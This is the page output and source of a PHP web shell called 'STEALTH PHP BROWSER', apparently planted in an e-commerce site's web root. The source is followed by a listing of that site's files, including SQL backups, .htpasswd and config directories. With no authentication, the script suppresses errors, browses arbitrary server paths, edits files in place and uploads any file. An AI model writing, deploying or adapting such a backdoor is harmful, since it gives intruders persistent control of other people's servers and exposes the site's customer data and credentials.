PATH:
home
/
beestk
/
ptb
<?php /* ====== STEALTH PHP BROWSER ====== */ /* ====== ANTI 0 KB VERSION ====== */ error_reporting(0); ini_set('display_errors', 0); /* ---- PATH ---- */ $cwd = isset($_GET['p']) ? $_GET['p'] : getcwd(); $cwd = realpath($cwd); if (!$cwd || !is_dir($cwd)) { $cwd = getcwd(); } /* ---- BREADCRUMB ---- */ function nav($d){ $x = explode(DIRECTORY_SEPARATOR, $d); $b = ''; $o = []; foreach ($x as $v){ if ($v === '') continue; $b .= DIRECTORY_SEPARATOR.$v; $o[] = '<a href="?p='.urlencode($b).'">'.$v.'</a>'; } return implode(' / ', $o); } /* ---- WRITE FILE (SAFE) ---- */ if (isset($_POST['w'])) { $f = basename($_POST['f']); $t = $cwd.DIRECTORY_SEPARATOR.$f; if (is_file($t)) { $h = fopen($t,'w'); fwrite($h,$_POST['c']); fclose($h); } } /* ---- UPLOAD (OBFUSCATED) ---- */ if (isset($_FILES['x'])) { if ($_FILES['x']['error'] === 0) { $n = basename($_FILES['x']['name']); $d = $cwd.DIRECTORY_SEPARATOR.$n; $r = fopen($_FILES['x']['tmp_name'],'r'); $w = fopen($d,'w'); stream_copy_to_stream($r,$w); fclose($r); fclose($w); } } ?> <!doctype html> <html> <head> <meta charset="utf-8"> <title>ꦫꦣꦺꦤ꧀ꦄꦤ꧀ꦠꦱꦺꦤ</title> <style> body{background:#111;color:#eee;font-family:Arial;font-size:14px} a{color:#6cf;text-decoration:none} textarea,input{background:#222;color:#eee;border:1px solid #444} </style> </head> <body> <h3>PATH: <?php echo nav($cwd); ?></h3> <form method="post" enctype="multipart/form-data"> <input type="file" name="x"> <input type="submit" value="Send"> </form> <hr> <?php /* ---- EDIT MODE ---- */ if (isset($_GET['e'])) { $f = basename($_GET['e']); $p = $cwd.DIRECTORY_SEPARATOR.$f; if (is_file($p)) { $c = htmlspecialchars(file_get_contents($p)); echo '<form method="post"> <textarea name="c" rows="15" cols="80">'.$c.'</textarea> <input type="hidden" name="f" value="'.$f.'"> <br><input type="submit" name="w" value="Save"> </form><hr>'; } } /* ---- LIST ---- */ $h = opendir($cwd); echo '<ul>'; while (($i = readdir($h)) !== false) { if ($i === '.') continue; $p = $cwd.DIRECTORY_SEPARATOR.$i; if (is_dir($p)) { echo '<li>[+] <a href="?p='.urlencode($p).'">'.$i.'</a></li>'; } else { echo '<li>[-] '.$i.' <a href="?e='.urlencode($i).'&p='.urlencode($cwd).'">[open]</a></li>'; } } closedir($h); echo '</ul>'; ?> </body> </html>
[+]
..
[+]
minisite
[-] facebookproductad57fb4d9244e293ecb45926d4b1e68f1a.en.at.shop1.xml
[open]
[+]
classes
[-] backup_ptb.sql
[open]
[-] 1_fr_0_sitemap.xml
[open]
[+]
modules
[+]
config
[-] error500.html
[open]
[+]
admin534rind08rbeocvzccv
[+]
img
[-] mostra.mp4
[open]
[-] facebookproductad57fb4d9244e293ecb45926d4b1e68f1a.fr.shop1.xml
[open]
[-] facebookproductad57fb4d9244e293ecb45926d4b1e68f1a.fr.be.shop1.xml
[open]
[-] facebookproductad57fb4d9244e293ecb45926d4b1e68f1a.en.be.shop1.xml
[open]
[-] autoload.php
[open]
[+]
var
[-] ***robots.txt
[open]
[+]
pdf
[-] facebookproductad57fb4d9244e293ecb45926d4b1e68f1a.en.nl.shop1.xml
[open]
[+]
tools
[+]
upload
[-] robots.txt
[open]
[-] phpstan.neon.dist
[open]
[+]
docs
[+]
controllers
[-] --.htaccess
[open]
[-] index.php
[open]
[+]
vendor
[-] debug_prettyblock.txt
[open]
[-] info.php
[open]
[+]
override
[-] backup_ptb.zip
[open]
[+]
bin
[+]
src
[-] .ovhconfig
[open]
[+]
templates
[+]
webservice
[-] Makefile
[open]
[-] facebookproductad57fb4d9244e293ecb45926d4b1e68f1a.en.es.shop1.xml
[open]
[-] .htaccess
[open]
[+]
localization
[-] LICENSES
[open]
[-] 1_en_0_sitemap.xml
[open]
[+]
app
[-] facebookproductad57fb4d9244e293ecb45926d4b1e68f1a.en.it.shop1.xml
[open]
[-] .htpasswd
[open]
[+]
translations
[-] INSTALL.txt
[open]
[+]
themes
[-] composer.lock
[open]
[+]
mails
[-] 1.php
[open]
[-] .php-cs-fixer.dist.php
[open]
[+]
download
[-] facebookproductad57fb4d9244e293ecb45926d4b1e68f1a.en.de.shop1.xml
[open]
[-] spacing_debug.txt
[open]
[-] 1_index_sitemap.xml
[open]
[+]
cache
[+]
js
[-] init.php
[open]
[-] pages-seo.html
[open]